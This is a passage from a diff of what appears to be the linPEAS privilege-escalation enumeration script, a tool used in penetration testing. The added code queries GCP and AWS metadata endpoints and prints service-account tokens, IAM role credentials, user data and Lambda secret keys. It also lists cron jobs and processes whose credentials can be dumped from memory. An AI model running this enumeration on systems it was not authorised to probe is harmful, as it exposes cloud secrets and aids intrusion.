+ + + elif (curl --connect-timeout 2 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_aws_ecs="Yes"; + + fi + + if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + fi +} + +check_aws_ec2(){ + is_aws_ec2="No" + + if [ -d "/var/log/amazon/" ]; then + is_aws_ec2="Yes" + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + + else + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then + is_aws_ec2="Yes" + fi + fi +} + +check_aws_lambda(){ + is_aws_lambda="No" + + if (env | grep -q AWS_LAMBDA_); then + is_aws_lambda="Yes" + fi +} + + +check_gcp +print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ecs +print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ec2 +print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_lambda +print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," + +echo "" + +if [ "$is_gcp" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl)" ]; then + gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' + elif [ "$(command -v wget)" ]; then + gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + + if [ "$gcp_req" ]; then + print_2title "Google CLoud Platform Enumeration" + print_info "https://book.hacktricks.xyz/cloud-security/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') + [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" + p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') + [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" + + # OSLogin Info + osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) + [ "$osl_u" ] && echo "OSLogin users: $osl_u" + osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) + [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" + osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) + [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" + osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) + [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" + + # Instance Info + inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) + [ "$inst_d" ] && echo "Instance Description: " + inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) + [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) + [ "$inst_img" ] && echo "Instance Image: $inst_img" + inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) + [ "$inst_mt" ] && echo "Machine Type: $inst_mt" + inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) + [ "$inst_n" ] && echo "Instance Name: $inst_n" + inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) + [ "$inst_tag" ] && echo "Instance tags: $inst_tag" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") + [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" + inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") + [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" + inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") + [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" + inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") + [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" + inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") + [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" + inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") + [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" + + echo "" + print_3title "Interfaces" + for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do + echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") + echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") + echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") + echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") + echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") + echo " ============== " + done + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " ============== " + done + fi +fi + + +if [ "$is_aws_ecs" = "Yes" ]; then + print_2title "AWS ECS Enumeration" + + aws_ecs_req="" + if [ "$(command -v curl)" ]; then + aws_ecs_req='curl -s -f' + elif [ "$(command -v wget)" ]; then + aws_ecs_req='wget -q -O -' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_ecs_metadata_uri" ]; then + print_3title "Container Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" + echo "" + + print_3title "Task Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" + echo "" + else + echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" + fi + + if [ "$aws_ecs_service_account_uri" ]; then + print_3title "IAM Role" + exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" + echo "" + else + echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" + fi +fi + +if [ "$is_aws_ec2" = "Yes" ]; then + print_2title "AWS EC2 Enumeration" + + HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" + URL="http://169.254.169.254/latest/meta-data" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_req" ]; then + printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" + printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" + printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" + printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" + printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" + printf "region: "; eval $aws_req "$URL/placement/region"; echo "" + + echo "" + print_3title "Account Info" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" + + echo "" + print_3title "Network Info" + for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do + echo "Mac: $mac" + printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" + printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" + printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" + echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" + printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" + echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" + printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" + echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" + echo "" + done + + echo "" + print_3title "IAM Role" + exec_with_jq eval $aws_req "$URL/iam/info"; echo "" + for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do + echo "Role: $role" + exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" + echo "" + done + + echo "" + print_3title "User Data" + eval $aws_req "http://169.254.169.254/latest/user-data" + fi +fi + +if [ "$is_aws_lambda" = "Yes" ]; then + print_2title "AWS Lambda Enumeration" + printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME + printf "Region: "; env | grep AWS_REGION + printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY + printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID + printf "Session token: "; env | grep AWS_SESSION_TOKEN + printf "Security token: "; env | grep AWS_SECURITY_TOKEN + printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API + printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") +fi + + fi echo '' echo '' @@ -1645,146 +2249,167 @@ print_title "Processes, Crons, Timers, Services and Sockets" #-----) Processes & Cron & Services & Timers (-----# #################################################### -#-- PCS) Cleaned proccesses -print_2title "Cleaned processes" -if [ "$NOUSEPS" ]; then - printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC -fi -print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes" +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Cleaned proccesses + print_2title "Cleaned processes" + if [ "$NOUSEPS" ]; then + printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC + fi + print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" -if [ "$NOUSEPS" ]; then - print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," - pslist=$(print_ps) -else - (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do - echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," - if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then - cpid=$(echo "$psline" | awk '{print $2}') - caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" - if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then - printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" + if [ "$NOUSEPS" ]; then + print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + pslist=$(print_ps) + else + (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do + echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then + cpid=$(echo "$psline" | awk '{print $2}') + caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" + if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then + printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" + fi fi - fi - done - pslist=$(ps auxwww) - echo "" + done + pslist=$(ps auxwww) + echo "" - #-- PCS) Binary processes permissions - print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes" - binW="IniTialiZZinnggg" - ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do - if [ -w "$bpath" ]; then - binW="$binW|$bpath" - fi - done - ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," + #-- PCS) Binary processes permissions + print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" + binW="IniTialiZZinnggg" + ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do + if [ -w "$bpath" ]; then + binW="$binW|$bpath" + fi + done + ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," + fi + echo "" +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Files opened by processes belonging to other users + if ! [ "$IAMROOT" ]; then + print_2title "Files opened by processes belonging to other users" + print_info "This is usually empty because of the lack of privileges to read other user processes information" + lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Processes with credentials inside memory + print_2title "Processes with credentials in memory (root req)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory" + if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi + if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi + if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi + if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi + if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi + if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi + echo "" +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Different processes 1 min + if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then + print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs" + temp_file=$(mktemp) + if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Cron + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + command -v crontab 2>/dev/null || echo_not_found "crontab" + crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + command -v incrontab 2>/dev/null || echo_not_found "incrontab" + incrontab -l 2>/dev/null + ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" + cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + crontab -l -u "$USER" 2>/dev/null | tr -d "\r" + ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths + atq 2>/dev/null +else + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \; fi echo "" -#-- PCS) Files opened by processes belonging to other users -if ! [ "$IAMROOT" ]; then - print_2title "Files opened by processes belonging to other users" - print_info "This is usually empty because of the lack of privileges to read other user processes information" - lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," - echo "" + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$MACPEAS" ]; then + print_2title "Third party LaunchAgents & LaunchDemons" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" + ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null + echo "" + + print_2title "Writable System LaunchAgents & LaunchDemons" + find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do + program="" + program=$(defaults read "$f" Program 2>/dev/null) + if ! [ "$program" ]; then + program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) + fi + if [ -w "$program" ]; then + echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + done + echo "" + + print_2title "StartupItems" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items" + ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null + echo "" + + print_2title "Login Items" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items" + osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null + echo "" + + print_2title "SPStartupItemDataType" + system_profiler SPStartupItemDataType + echo "" + + print_2title "Emond scripts" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" + ls -l /private/var/db/emondClients + echo "" + fi fi -#-- PCS) Processes with credentials inside memory -print_2title "Processes with credentials in memory (root req)" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory" -if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi -if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi -if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi -if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi -if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi -if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi -echo "" - -#-- PCS) Different processes 1 min -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then - print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs" - temp_file=$(mktemp) - if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi - echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Services + if [ "$EXTRA_CHECKS" ]; then + print_2title "Services" + print_info "Search for outdated versions" + (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" + echo "" + fi fi -#-- PCS) Cron -print_2title "Cron jobs" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs" -command -v crontab 2>/dev/null || echo_not_found "crontab" -crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," -command -v incrontab 2>/dev/null || echo_not_found "incrontab" -incrontab -l 2>/dev/null -ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" -cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," -crontab -l -u "$USER" 2>/dev/null | tr -d "\r" -ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths -atq 2>/dev/null -echo "" - -if [ "$MACPEAS" ]; then - print_2title "Third party LaunchAgents & LaunchDemons" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" - ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null - echo "" - - print_2title "Writable System LaunchAgents & LaunchDemons" - find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do - program="" - program=$(defaults read "$f" Program 2>/dev/null) - if ! [ "$program" ]; then - program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) - fi - if [ -w "$program" ]; then - echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; - fi - done - echo "" - - print_2title "StartupItems" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items" - ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null - echo "" - - print_2title "Login Items" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items" - osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null - echo "" - - print_2title "SPStartupItemDataType" - system_profiler SPStartupItemDataType - echo "" - - print_2title "Emond scripts" - print_info 